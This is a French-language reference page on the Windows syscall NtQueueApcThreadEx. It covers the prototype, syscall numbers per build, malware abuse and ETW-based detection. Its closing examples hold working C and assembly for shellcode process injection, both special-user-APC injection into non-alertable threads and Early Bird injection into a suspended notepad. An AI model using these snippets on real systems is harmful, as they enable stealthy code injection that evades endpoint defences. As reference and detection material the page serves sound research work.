> Windows Syscalls
ntoskrnl.exeT1055.004T1055T1106

NtQueueApcThreadEx

Place un APC utilisateur dans la file d'un thread avec un objet réserve optionnel ou un flag special-user-APC pour livraison forcée.

Prototype

NTSTATUS NtQueueApcThreadEx(
  HANDLE            ThreadHandle,
  HANDLE            UserApcReserveHandle,
  PKNORMAL_ROUTINE  ApcRoutine,
  PVOID             ApcArgument1,
  PVOID             ApcArgument2,
  PVOID             ApcArgument3
);

Arguments

NameTypeDirDescription
ThreadHandleHANDLEinHandle vers le thread cible avec l'accès THREAD_SET_CONTEXT.
UserApcReserveHandleHANDLEinObjet réserve user-APC optionnel (NtAllocateReserveObject). Passer QUEUE_USER_APC_FLAGS_SPECIAL_USER_APC (0x1) casté en HANDLE pour forcer le déclenchement (Win10 1809+).
ApcRoutinePKNORMAL_ROUTINEinRoutine en mode utilisateur à exécuter lors de la livraison de l'APC.
ApcArgument1PVOIDinPremier argument transmis à ApcRoutine. Pour les special user APC, c'est le pointeur CONTEXT* receveur.
ApcArgument2PVOIDinDeuxième argument transmis à ApcRoutine.
ApcArgument3PVOIDinTroisième argument transmis à ApcRoutine.

IDs de syscalls par version de Windows

Version de WindowsID de syscallBuild
Win10 15070x14Bwin10-1507
Win10 16070x152win10-1607
Win10 17030x158win10-1703
Win10 17090x15Bwin10-1709
Win10 18030x15Dwin10-1803
Win10 18090x15Ewin10-1809
Win10 19030x15Fwin10-1903
Win10 19090x15Fwin10-1909
Win10 20040x165win10-2004
Win10 20H20x165win10-20h2
Win10 21H10x165win10-21h1
Win10 21H20x166win10-21h2
Win10 22H20x166win10-22h2
Win11 21H20x16Dwin11-21h2
Win11 22H20x170win11-22h2
Win11 23H20x170win11-23h2
Win11 24H20x172win11-24h2
Server 20160x152winserver-2016
Server 20190x15Ewinserver-2019
Server 20220x16Bwinserver-2022
Server 20250x172winserver-2025

Module noyau

ntoskrnl.exeNtQueueApcThreadEx

APIs liées

QueueUserAPCQueueUserAPC2NtQueueApcThreadNtQueueApcThreadEx2NtAllocateReserveObjectNtTestAlert

Stub du syscall

4C 8B D1            mov r10, rcx
B8 72 01 00 00      mov eax, 0x172
F6 04 25 08 03 FE 7F 01   test byte ptr [0x7FFE0308], 1
75 03               jne short +3
0F 05               syscall
C3                  ret
CD 2E               int 2Eh
C3                  ret

Notes non documentées

Extension de `NtQueueApcThread` introduite pour le pattern d'objet réserve user-APC (éviter une allocation de pool à chaque enqueue) et, depuis Windows 10 1809, pour les **special user APC** (`QUEUE_USER_APC_FLAGS_SPECIAL_USER_APC = 0x1`). Le truc : passer la constante `0x1` *en tant que* `UserApcReserveHandle` bascule le noyau dans un chemin qui délivre l'APC au thread cible indépendamment de son état alertable — le noyau détourne le `CONTEXT` user-mode du thread et le reprend dans `ApcRoutine` avec `ApcArgument1` pointant sur une structure `CONTEXT` contenant l'état registre d'origine. La SSN dérive fortement de build en build ; à résoudre dynamiquement.

Usage courant par les malwares

Trois abus notables. (1) **PoolParty** (SafeBreach 2023) utilise les special user APC pour injecter dans des threads qui ne deviennent *jamais* alertables — threads de fond modernes dans navigateurs et agents EDR — annihilant la défense classique « cibler un wait alertable ». (2) EarlyBird reste viable mais la forme Ex est préférée car elle ne requiert pas que le thread cible atteigne un wait alertable. (3) Cobalt Strike 4.x et Brute Ratel C4 emploient la variante special-APC pour une exécution fork&run qui n'a plus besoin de `CreateThread` chez la victime. T1055.004.

Opportunités de détection

Les special user APC apparaissent comme événements ETW Threat Intelligence `EtwTiLogQueueApcThread` avec le flag special-user-APC armé — les EDR modernes (CrowdStrike, Defender for Endpoint, SentinelOne) le parsent. La livraison par CONTEXT détourné signifie que le RIP du thread cible saute soudain vers une adresse hors module avec un pointeur CONTEXT sur la pile — stack-walk et vérifications RIP-vs-VAD sur les événements EtwTi le capturent. Un `NtQueueApcThreadEx` inter-processus depuis un parent non-debugger avec le flag special-user-APC est presque toujours malicieux en pratique.

Exemples de syscalls directs

asmx64 direct stub (Win11 24H2)

; Direct syscall stub for NtQueueApcThreadEx (SSN 0x172 on Win11 24H2)
NtQueueApcThreadEx PROC
    mov  r10, rcx              ; syscall convention
    mov  eax, 0172h            ; SSN — drifts; resolve dynamically for portability
    syscall
    ret
NtQueueApcThreadEx ENDP

cSpecial user APC (PoolParty-style)

// Inject into a non-alertable target thread via QUEUE_USER_APC_FLAGS_SPECIAL_USER_APC.
#define QUEUE_USER_APC_FLAGS_SPECIAL_USER_APC ((HANDLE)0x1)

// hThread points at a worker thread that will never call SleepEx — classic EDR scrub thread.
// remote_shellcode was already written + RX-protected in the target process.
NTSTATUS st = NtQueueApcThreadEx(
    hThread,
    QUEUE_USER_APC_FLAGS_SPECIAL_USER_APC,    // forces delivery via context hijack
    (PKNORMAL_ROUTINE)remote_shellcode,
    NULL, NULL, NULL);
if (!NT_SUCCESS(st)) return st;
// Kernel hijacks the thread's CONTEXT and resumes it inside remote_shellcode.

cEarly Bird APC injection with Ex form

// Spawn target suspended; queue Ex-APC; resume.
STARTUPINFOA si = { .cb = sizeof(si) };
PROCESS_INFORMATION pi = { 0 };
CreateProcessA("C:\\Windows\\System32\\notepad.exe", NULL, NULL, NULL,
               FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi);

SIZE_T size = shellcode_len;
PVOID  remote = NULL;
NtAllocateVirtualMemory(pi.hProcess, &remote, 0, &size,
                        MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
NtWriteVirtualMemory(pi.hProcess, remote, shellcode, shellcode_len, NULL);

// Ex form lets us pick reserve object or special-APC; for EarlyBird either works.
NtQueueApcThreadEx(pi.hThread, NULL, (PKNORMAL_ROUTINE)remote, NULL, NULL, NULL);
NtResumeThread(pi.hThread, NULL);

Mappings MITRE ATT&CK

Last verified: 2026-05-20